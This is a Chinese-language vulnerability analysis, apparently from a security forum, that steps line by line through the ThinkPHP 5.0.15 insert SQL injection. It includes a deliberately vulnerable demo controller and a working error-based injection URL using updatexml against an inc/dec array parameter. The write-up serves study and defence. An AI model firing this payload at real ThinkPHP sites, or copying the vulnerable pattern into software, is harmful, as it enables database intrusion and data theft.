大多数文章都是分析了几个关键点,没有去详细的分析一下源码,最近,逐行跟了一下thinkphp5.0.15的SQL注入漏洞,
希望对分析thinkphp框架SQL注入的师傅们有点帮助。

基础

先摆上这次需要用到的一些内置函数
list — 把数组中的值赋给一组变量

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

注意 键和值是反过来的

is_scalar — 检测变量是否是一个标量

composer安装
刚刚学到一个composer的新用法,可以把tp版本回退

"require": {
    "php": ">=5.4.0",
    "topthink/think-installer": "5.0.15"
},

这样就可以回退到5.0.15版本

index控制器 加上这么一段连接数据库的代码

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->insert(['username' => $username]);
        return 'Update success';
    }
}

database.php中 配置数据库,
在创建一个数据库

create database tpdemo;
use tpdemo;
create table users(
    id int primary key auto_increment,
    username varchar(50) not null
);

config.php中 配置这两个为true

漏洞复现

http://127.0.0.1/tp5.0.22/public/index.php/index/Index/index?username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

漏洞分析

get打个断点,调一下

进入get方法

/**
 * 设置获取GET参数
 * @access public
 * @param string|array  $name 变量名
 * @param mixed         $default 默认值
 * @param string|array  $filter 过滤方法
 * @return mixed
 */
public function get($name = '', $default = null, $filter = '')
{
    if (empty($this->get)) {
        $this->get = $_GET;//把GET数组 传给 get变量,不过我在这里调试的时候,get已经有值了,
        //我估计应该是框架启动的时候添加的
    }
    if (is_array($name)) {//这里的name参数,是前面get方法设置的username/a  /a代表强制转换成数组
    //这里的name很显然不是数组,直接进入到了下面的input方法
        $this->param      = [];
        return $this->get = array_merge($this->get, $name);
    }
    return $this->input($this->get, $name, $default, $filter);// 四个参数 GET数组,username/a,null,''
}

input方法

/**
 * 获取变量 支持过滤和默认值
 * @param array         $data 数据源
 * @param string|false  $name 字段名
 * @param mixed         $default 默认值
 * @param string|array  $filter 过滤函数
 * @return mixed
 */
public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {//这里的name如果是false的换,就代表前面的get方法没有定义获取那个数据,以及数据类型
        // 获取原始数据
        return $data;
    }
    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {//检测name中是否有/  也就代表检测对数据格式是否有要求
            list($name, $type) = explode('/', $name);// 把name根据/ 拆分成数组,然后赋值给name type
            //现在name=username  type=a
        } else {
            $type = 's';//如果前面的获取参数的方法没有设置数据类型,默认为s  字符串类型
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {//前面只传了username  所以val=username,
        //多说一句,我推测这里的.应该是input('变量类型.变量名/修饰符');  
        //tp官方文档里面定义的助手函数,这里有个“.”
            if (isset($data[$val])) {//data是GET数组中的内容,data[username]
                $data = $data[$val];//这样就把请求中的username参数,,传给了data,
                //注意这里的username也是一个数组
            } else {
                // 无输入数据,返回默认值
                return $default;//代表没有规则(username/a)中的参数传入,所以返回默认值
            }
        }
        if (is_object($data)) {//data是username这个数组,不是对象
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    // 看下getFiler函数,   就是对filter进行了一个赋值,传进来的filter是空字符串'',返回的filter是空数组[]
    //protected function getFilter($filter, $default)
   // {
    //    if (is_null($filter)) {
    //        $filter = [];
    //    } else {
    //        $filter = $filter ?: $this->filter;
     //       if (is_string($filter) && false === strpos($filter, '/')) {
    //            $filter = explode(',', $filter);
    //        } else {
    //            $filter = (array) $filter;
   //        }
    //    }

    //    $filter[] = $default;
    //    return $filter;
    //}


    if (is_array($data)) {//data是username的数组
        array_walk_recursive($data, [$this, 'filterValue'], $filter);//进入回调函数,

跟进看一下filterValue函数,类似于循环,会把数组中的元素,挨个传到filterValue方法

private function filterValue(&$value, $key, $filters)//value是data中的值,也就是GET数组中的值,即
        //参数的值,key是GET数组中的键,即参数的名,filters是要过滤规则
{
    $default = array_pop($filters);//把数组中的元素弹出
    foreach ($filters as $filter) {
        if (is_callable($filter)) {//是否能够进行函数调用,这里的filter是空,所以无法调用
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {//检测一个变量是否是标量,那些东西是标量看上面的函数介绍
            if (false !== strpos($filter, '/')) {//filter为空,所以strpos返回false,进入到了下面的elseif
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {//filter是空的,所以这里也会跳过
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }
    return $this->filterExp($value);//直接就到了这里的filterExp方法

看一下这个方法是一个过滤函数,但是payload中的关键字,都没被过滤

public function filterExp(&$value)//这里的value是引用传值,所以说data中的值,会被直接修改
{
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';//如果被检测到,会在后面加一个空格
    }
    // TODO 其他安全过滤
}
}

回到input函数

reset($data);//数组指针指向数组中的第一个单元
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {//type已经设置是a, $default是null  
    //所以这里会进入typeCast的判断
        // 强制类型转换
        $this->typeCast($data, $type);
    }
    return $data;//把data返回
}

跟进typeCast方法,进行强制转换

private function typeCast(&$data, $type)
{
    switch (strtolower($type)) {
        // 数组
        case 'a':
            $data = (array) $data;//因为type是a,所以强制转换为数组
            break;
        // 数字
        case 'd':
            $data = (int) $data;
            break;
        // 浮点
        case 'f':
            $data = (float) $data;
            break;
        // 布尔
        case 'b':
            $data = (boolean) $data;
            break;
        // 字符串
        case 's':
        default:
            if (is_scalar($data)) {
                $data = (string) $data;
            } else {
                throw new \InvalidArgumentException('variable type error:' . gettype($data));
            }
    }
}

这里和官方文档的对上了

梳理一下,从调用get开始,到返回data经过的步骤

下面进入到了insert方法
看一下传给Insert方法的参数

GET数组中的值已经被传过来了

这里的db,这种写法是利用了助手函数,所以会进入到helper.php中
helper.php

if (!function_exists('db')) {
    /**
     * 实例化数据库类
     * @param string        $name 操作的数据表名称(不含前缀)
     * @param array|string  $config 数据库配置参数
     * @param bool          $force 是否强制重新连接
     * @return \think\db\Query
     */
    function db($name = '', $config = [], $force = false)//只传了一个name是users
    {
        return Db::connect($config, $force)->name($name);
    }
}

跟进
Db::connect 会进入到Loader.php 下的autoload方法,触发自动加载 把Db类导入

*/
public static function autoload($class)
{
    // 检测命名空间别名
    if (!empty(self::$namespaceAlias)) {
        $namespace = dirname($class);
        if (isset(self::$namespaceAlias[$namespace])) {
            $original = self::$namespaceAlias[$namespace] . '\\' . basename($class);
            if (class_exists($original)) {
                return class_alias($original, $class, false);
            }
        }
    }

结果就是把这个文件包含进来

进入connect方法

public static function connect($config = [], $name = false)
//传过来的参数是$config=[] $name=false和默认一样
{
    if (false === $name) {//进入
        $name = md5(serialize($config));//对config进行一次序列化和md5
    }

    if (true === $name || !isset(self::$instance[$name])) {  //name虽然不等于true,
    //但是后面的self::$instance[$name]是没有设置的,
    //个人感觉$name是一个MD5的hash值是一个随机的数,不能这么巧,恰好定义
    //回去看了一下$instance的定义
    //@var Connection[] 数据库连接实例

        // 解析连接参数 支持数组和字符串
        $options = self::parseConfig($config);//config=[] 空数组

跟进parseConfig方法

/**
 * 数据库连接参数解析
 * @access private
 * @param  mixed $config 连接参数
 * @return array
 */
private static function parseConfig($config)
{
    if (empty($config)) {//进入
        $config = Config::get('database');//跟进,详细的在下面
    } elseif (is_string($config) && false === strpos($config, '/')) {
        $config = Config::get($config); // 支持读取配置参数
    }

    return is_string($config) ? self::parseDsn($config) : $config;
}

跟进config的get方法

/**
 * 获取配置参数 为空则获取所有配置
 * @access public
 * @param  string $name 配置参数名(支持二级配置 . 号分割)
 * @param  string $range  作用域
 * @return mixed
 */
public static function get($name = null, $range = '')//name=database
{
    $range = $range ?: self::$range;//这个文件自定义了一个静态变量,值是_sys_

    // 无参数时获取所有
    if (empty($name) && isset(self::$config[$range])) {//name不是空,所以跳过这个if
        return self::$config[$range];
    }

    // 非二级配置时直接返回
    if (!strpos($name, '.')) {//name中没有 "."  所以进入
        $name = strtolower($name);//变成小写
        return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null;
        //如果self::$config[_sys_][database]已经设置返回self::$config[_sys_][database]  否则返回Null
        //$config变量在框架初始化的时候,就已经加载完毕了,
        //关于database的内容就是 application/database.php中的内容
    }
}

这里提到一个二级配置 看看是个啥东西

就是一个嵌套的数组
读取二级配置

这里有个 "." 这就对应上了

if (!strpos($name, '.'))

为啥有点"."就跳过

回到connect方法

if (empty($options['type'])) {//这里的type是数据库的类型,我这里用的MySQL
            throw new \InvalidArgumentException('Undefined db type');
        }

        $class = false !== strpos($options['type'], '\\') ?
        $options['type'] :
        '\\think\\db\\connector\\' . ucwords($options['type']);

        // 记录初始化信息
        if (App::$debug) {
            Log::record('[ DB ] INIT ' . $options['type'], 'info');//这里会把初始化信息写入日志
        }

        if (true === $name) {//name不等于true,跳过
            $name = md5(serialize($config));
        }

        self::$instance[$name] = new $class($options);//new 一个MySQL类,参数是database中的配置信息
    }

    return self::$instance[$name];//把实例化好的MySQL类返回
}

$class是MySQL

同样会调用自动加载

然后把文件包含进来

之后进入connection类的初始化方法,因为MySQL类是继承自connection类的,并且MySQL类没有实现初始化方法

public function __construct(array $config = [])//传过来的config是database.php中的配置参数
{
    if (!empty($config)) {
        $this->config = array_merge($this->config, $config);//这里进行合并
    }
}

之后就回到了connect方法,紧接着调用insert方法,

/**
 * 插入记录
 * @access public
 * @param mixed   $data         数据
 * @param boolean $replace      是否replace
 * @param boolean $getLastInsID 返回自增主键
 * @param string  $sequence     自增序列名
 * @return integer|string
 */
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
    // 分析查询表达式
    $options = $this->parseExpress();

跟进parseExpress方法

/**
 * 分析表达式(可用于查询或者写入操作)
 * @access protected
 * @return array
 */
protected function parseExpress()
{
    $options = $this->options;

    // 获取数据表
    if (empty($options['table'])) {//没有设置$option['table'],所以进入if
        $options['table'] = $this->getTable();//获取表名
    }

进入getTable方法,获取表名

**
 * 得到当前或者指定名称的数据表
 * @access public
 * @param string $name
 * @return string
 */
public function getTable($name = '')
{
    if ($name || empty($this->table)) {//name没有设置为空,所以会进入if
        $name      = $name ?: $this->name;//把属性中的name传过来,进行赋值
        $tableName = $this->prefix;//这个prefix是表前缀,没有定义
        if ($name) {//现在name已经不为空了,==》users
            $tableName .= Loader::parseName($name);//这个parseName是命名风格转换,影响不大,跳过
        }
    } else {
        $tableName = $this->table;
    }
    return $tableName;//最后把表名返回
}

回到parseExpress方法

if (!isset($options['where'])) {//没有设置,置where字段为空数组
        $options['where'] = [];
    } elseif (isset($options['view'])) {
        // 视图查询条件处理
        foreach (['AND', 'OR'] as $logic) {
            if (isset($options['where'][$logic])) {
                foreach ($options['where'][$logic] as $key => $val) {
                    if (array_key_exists($key, $options['map'])) {
                        $options['where'][$logic][$options['map'][$key]] = $val;
                        unset($options['where'][$logic][$key]);
                    }
                }
            }
        }

        if (isset($options['order'])) {//没有设置order字段,直接跳过
            // 视图查询排序处理
            if (is_string($options['order'])) {
                $options['order'] = explode(',', $options['order']);
            }
            foreach ($options['order'] as $key => $val) {
                if (is_numeric($key)) {
                    if (strpos($val, ' ')) {
                        list($field, $sort) = explode(' ', $val);
                        if (array_key_exists($field, $options['map'])) {
                            $options['order'][$options['map'][$field]] = $sort;
                            unset($options['order'][$key]);
                        }
                    } elseif (array_key_exists($val, $options['map'])) {
                        $options['order'][$options['map'][$val]] = 'asc';
                        unset($options['order'][$key]);
                    }
                } elseif (array_key_exists($key, $options['map'])) {
                    $options['order'][$options['map'][$key]] = $val;
                    unset($options['order'][$key]);
                }
            }
        }
    }

    if (!isset($options['field'])) {//没有设置,置field字段为*
        $options['field'] = '*';
    }

    if (!isset($options['data'])) {
        $options['data'] = [];//置data字段为空数组
    }

    if (!isset($options['strict'])) {
        $options['strict'] = $this->getConfig('fields_strict');//获取数据库的配置参数,
        //这个先是调用query类的getConfig方法,之后再去调用connection类的getConfig方法,获取数据库的配置信息
    }

    foreach (['master', 'lock', 'fetch_pdo', 'fetch_sql', 'distinct'] as $name) {
        //这个foreach循环,大致意思是判断$option中有没有设置对应的单元,没有设置则置为false
        if (!isset($options[$name])) {
            $options[$name] = false;
        }
    }

    foreach (['join', 'union', 'group', 'having', 'limit', 'order', 'force', 'comment'] as $name) {
        //和上面一样,不过这个是置为空字符串
        if (!isset($options[$name])) {
            $options[$name] = '';
        }
    }

    if (isset($options['page'])) {//没有设置,直接跳过
        // 根据页数计算limit
        list($page, $listRows) = $options['page'];
        $page                  = $page > 0 ? $page : 1;
        $listRows              = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
        $offset                = $listRows * ($page - 1);
        $options['limit']      = $offset . ',' . $listRows;
    }

    $this->options = [];//options属性置为空数组,他和options变量不一样
    return $options;
}

看下options的内容

回到insert方法,继续往下看

$data    = array_merge($options['data'], $data);//把option中的data和data数组合并
    // 生成SQL语句
    $sql = $this->builder->insert($data, $options, $replace);//调用builder类的insert方法

跟进 看一下注释就知道这个方法是干啥的了

**
 * 生成insert SQL
 * @access public
 * @param array     $data 数据
 * @param array     $options 表达式
 * @param bool      $replace 是否replace
 * @return string
 */
public function insert(array $data, $options = [], $replace = false)
{
    // 分析并处理数据
    $data = $this->parseData($data, $options);//


跟进parseData方法,
   /**
 * 数据分析
 * @access protected
 * @param array     $data 数据
 * @param array     $options 查询参数
 * @return array
 * @throws Exception
 */
protected function parseData($data, $options)
{
    if (empty($data)) {//data非空,跳过
        return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);//进入query类的getFieldsBind方法,


跟进   getFieldsBind 方法
// 获取当前数据表绑定信息
public function getFieldsBind($table = '')//table=users
{
    $types = $this->getFieldsType($table);//跟进


跟进getFieldsType方法,
// 获取当前数据表字段类型
public function getFieldsType($table = '')
{
    return $this->getTableInfo($table ?: $this->getOptions('table'), 'type');//跟进
}


跟进getTableInfo方法
/**
 * 获取数据表信息
 * @access public
 * @param mixed  $tableName 数据表名 留空自动获取
 * @param string $fetch     获取信息类型 包括 fields type bind pk
 * @return mixed
 */
public function getTableInfo($tableName = '', $fetch = '')
{
    if (!$tableName) {//tablename已经设置,跳过
        $tableName = $this->getTable();
    }
    if (is_array($tableName)) {//不是数组,users  跳过
        $tableName = key($tableName) ?: current($tableName);
    }

    if (strpos($tableName, ',')) {//tablename中没有逗号,跳过
        // 多表不获取字段信息
        return false;
    } else {//进入这个分支
        $tableName = $this->parseSqlTable($tableName);//调用到parseSqlTable方法,
        //这个方法的作用是把表名转成小写,不在详细分析
    }

    // 修正子查询作为表名的问题
    if (strpos($tableName, ')')) {//同样 tablename中也没有),跳过
        return [];
    }

    list($guid) = explode(' ', $tableName);//跟进空格,拆分成数组赋值给guid
    $db         = $this->getConfig('database');//获取数据库名
    if (!isset(self::$info[$db . '.' . $guid])) {//  判断有没有设置info[tpdemo.users]
        if (!strpos($guid, '.')) {//如果guid这个变量中,没有点“.”  就把库名和表名,通过"." 连接起来
            $schema = $db . '.' . $guid;
        } else {
            $schema = $guid;
        }
        // 读取缓存
        if (!App::$debug && is_file(RUNTIME_PATH . 'schema/' . $schema . '.php')) {//没有设置缓存,跳过
            $info = include RUNTIME_PATH . 'schema/' . $schema . '.php';
        } else {
            $info = $this->connection->getFields($guid);//获取表中的字段信息,
        }

跟进getFields方法

/**
 * 取得数据表的字段信息
 * @access public
 * @param string $tableName
 * @return array
 */
public function getFields($tableName)
{
    list($tableName) = explode(' ', $tableName);//把表名根据空字符串拆成数组,
    if (false === strpos($tableName, '`')) {//如果tablename中没有反引号“`”,在tablename两端加上反引号
        if (strpos($tableName, '.')) {
            $tableName = str_replace('.', '`.`', $tableName);
        }
        $tableName = '`' . $tableName . '`';
    }
    $sql    = 'SHOW COLUMNS FROM ' . $tableName;// 执行一次查询,拿到当前表名的列信息
    $pdo    = $this->query($sql, [], false, true);
    $result = $pdo->fetchAll(PDO::FETCH_ASSOC);

简单的看一下query方法,他是利用了PDO来查询

if (empty($this->PDOStatement)) {
    $this->PDOStatement = $this->linkID->prepare($sql);
}

这是我在数据库,执行一次,拿到的结果

mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| id       | int(11)     | NO   | PRI | NULL    | auto_increment |
| username | varchar(50) | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

接着看getFields方法

现在的result数组

$info   = [];
    if ($result) {
        foreach ($result as $key => $val) {//变量result数组
            $val                 = array_change_key_case($val);//把数组的键名都变成小写,val也是一个数组
            $info[$val['field']] = [//执行完这一段之后,就把val中的信息,传给了 info
                'name'    => $val['field'],//字段名
                'type'    => $val['type'],//字段的类型
                'notnull' => (bool) ('' === $val['null']), // not null is empty, null is yes
                'default' => $val['default'],
                'primary' => (strtolower($val['key']) == 'pri'),
                'autoinc' => (strtolower($val['extra']) == 'auto_increment'),
            ];
        }
    }
    return $this->fieldCase($info);//这个方法是把字段进行一个大小写的转换
}

看下返回的内容

回到getTableInfo方法

$fields = array_keys($info);
        $bind   = $type   = [];
        foreach ($info as $key => $val) {
            // 记录字段类型
            $type[$key] = $val['type'];
            $bind[$key] = $this->getFieldBindType($val['type']);

跟进getFieldBindType方法

/**
 * 获取字段绑定类型
 * @access public
 * @param string $type 字段类型
 * @return integer
 */
protected function getFieldBindType($type)
{
    if (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) {
        $bind = PDO::PARAM_STR;
    } elseif (preg_match('/(int|double|float|decimal|real|numeric|serial|bit)/is', $type)) {
    //因为数据库里设置id字段的类型是int ,所以会进入这个分支,
    //PDO::PARAM_INT (integer)
    //表示 SQL 中的整型。
        $bind = PDO::PARAM_INT;
    } elseif (preg_match('/bool/is', $type)) {
        $bind = PDO::PARAM_BOOL;
    } else {//username字段是字符串类型,会进入最后一个分支
        $bind = PDO::PARAM_STR;
    }
    return $bind;//把bind返回,
}

回到getTableInfo方法

if (!empty($val['primary'])) {//这一块是一个设置主机的过程,不详细分析了
                $pk[] = $key;
            }
        }
        if (isset($pk)) {
            // 设置主键
            $pk = count($pk) > 1 ? $pk : $pk[0];
        } else {
            $pk = null;
        }
        self::$info[$db . '.' . $guid] = ['fields' => $fields, 'type' => $type, 'bind' => $bind, 'pk' => $pk];
        //对self::$info进行赋值,把users表的字段信息,都返回
    }
    return $fetch ? self::$info[$db . '.' . $guid][$fetch] : self::$info[$db . '.' . $guid];
}

把self::$info返回,内容在这里

回到getFieldsBind方法

$bind  = [];
    if ($types) {
        foreach ($types as $key => $type) {
            $bind[$key] = $this->getFieldBindType($type);//同样绑定类型
        }
    }
    return $bind;
}

看下bind

直接返回到了parseData,

回到parseData方法

if ('*' == $options['field']) {
        $fields = array_keys($bind);//把键名变成小写,id username赋值给了fields
    } else {
        $fields = $options['field'];
    }

    $result = [];
    foreach ($data as $key => $val) {//现在变成data了,遍历请求中的参数
        $item = $this->parseKey($key, $options);//进入

parseKey方法

/**
 * 字段和表名处理
 * @access protected
 * @param string $key
 * @param array  $options
 * @return string
 */
protected function parseKey($key, $options = [])//key是username  option是配置数组
{
    $key = trim($key);
    if (strpos($key, '$.') && false === strpos($key, '(')) {//检测是否是json字段,
        // JSON字段支持
        list($field, $name) = explode('$.', $key);
        $key                = 'json_extract(' . $field . ', \'$.' . $name . '\')';
    } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {//key中,没有.  跳过
        list($table, $key) = explode('.', $key, 2);
        if ('__TABLE__' == $table) {
            $table = $this->query->getTable();
        }
        if (isset($options['alias'][$table])) {
            $table = $options['alias'][$table];
        }
    }
    if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {//正则不匹配,在加上!  进入
        $key = '`' . $key . '`';//key两端加上反引号``
    }
    if (isset($table)) {
        if (strpos($table, '.')) {
            $table = str_replace('.', '`.`', $table);
        }
        $key = '`' . $table . '`.' . $key;
    }
    return $key;//最后把加上反引号的key返回,`key`
}

回到parseData方法

if (is_object($val) && method_exists($val, '__toString')) {//val是请求参数的值,很明显不是对象
            // 对象数据写入
            $val = $val->__toString();//这里有个string魔术方法,如果有可以写文件的类说不定,还可以利用
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {//key中没有点"."  直接跳过,
        //这个if分支应该是用来判断前端传过来的参数是否有对应的数据库字段
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {//判断请求中传过来的参数值,并且进行了一个拼接,
        //需要控制第一个参数是inc或者dec,所以说payload中有一个inc,改成dec也可以
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        } elseif (is_scalar($val)) {//因为val是一个数组,不是标量,直接跳过
            // 过滤非标量数据
            if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                $result[$item] = $val;
            } else {
                $key = str_replace('.', '_', $key);
                $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                $result[$item] = ':data__' . $key;
            }
        }
    }
    return $result;//把拼接之后的sql语句返回
}

看一下现在的result数组

回到Builder类的insert方法

if (empty($data)) {
        return 0;
    }
    $fields = array_keys($data);//字段名`username`
    $values = array_values($data);//要插入的东西 updatexml(1,concat(0x7e,user(),0x7e),1)+1

    $sql = str_replace(//这里会对模板sql语句进行一个替换
        ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
        [
            $replace ? 'REPLACE' : 'INSERT',
            $this->parseTable($options['table'], $options),
            implode(' , ', $fields),//根据逗号, 把字符串连接成数组
            implode(' , ', $values),
            $this->parseComment($options['comment']),
        ], $this->insertSql);

    return $sql;
}

大致是这样

模板sql语句是这样的

回到insert方法
看一下现在的sql语句
已经把payload 拼接上了

// 获取参数绑定
    $bind = $this->getBind();
    if ($options['fetch_sql']) {//fetch_sql没有设置,所以跳过
        // 获取实际执行的SQL语句
        return $this->connection->getRealSql($sql, $bind);
        //
    }
    // 执行操作
    $result = 0 === $sql ? 0 : $this->execute($sql, $bind);//这里就把sql给执行了

跟一下execute方法


这里同样是用的PDO预处理

后面这里执行

总结

漏洞的产生点,主要有两个
1、获取参数时,开启了数组的获取方式
2、当参数中有inc dec时,进行了参数的拼接,把payload带入到了sql语句中

参考链接
https://nikoeurus.github.io/2020/01/14/ThinkPHP%205%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/#%E6%BC%8F%E6%B4%9E%E7%AE%80%E8%BF%B0

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖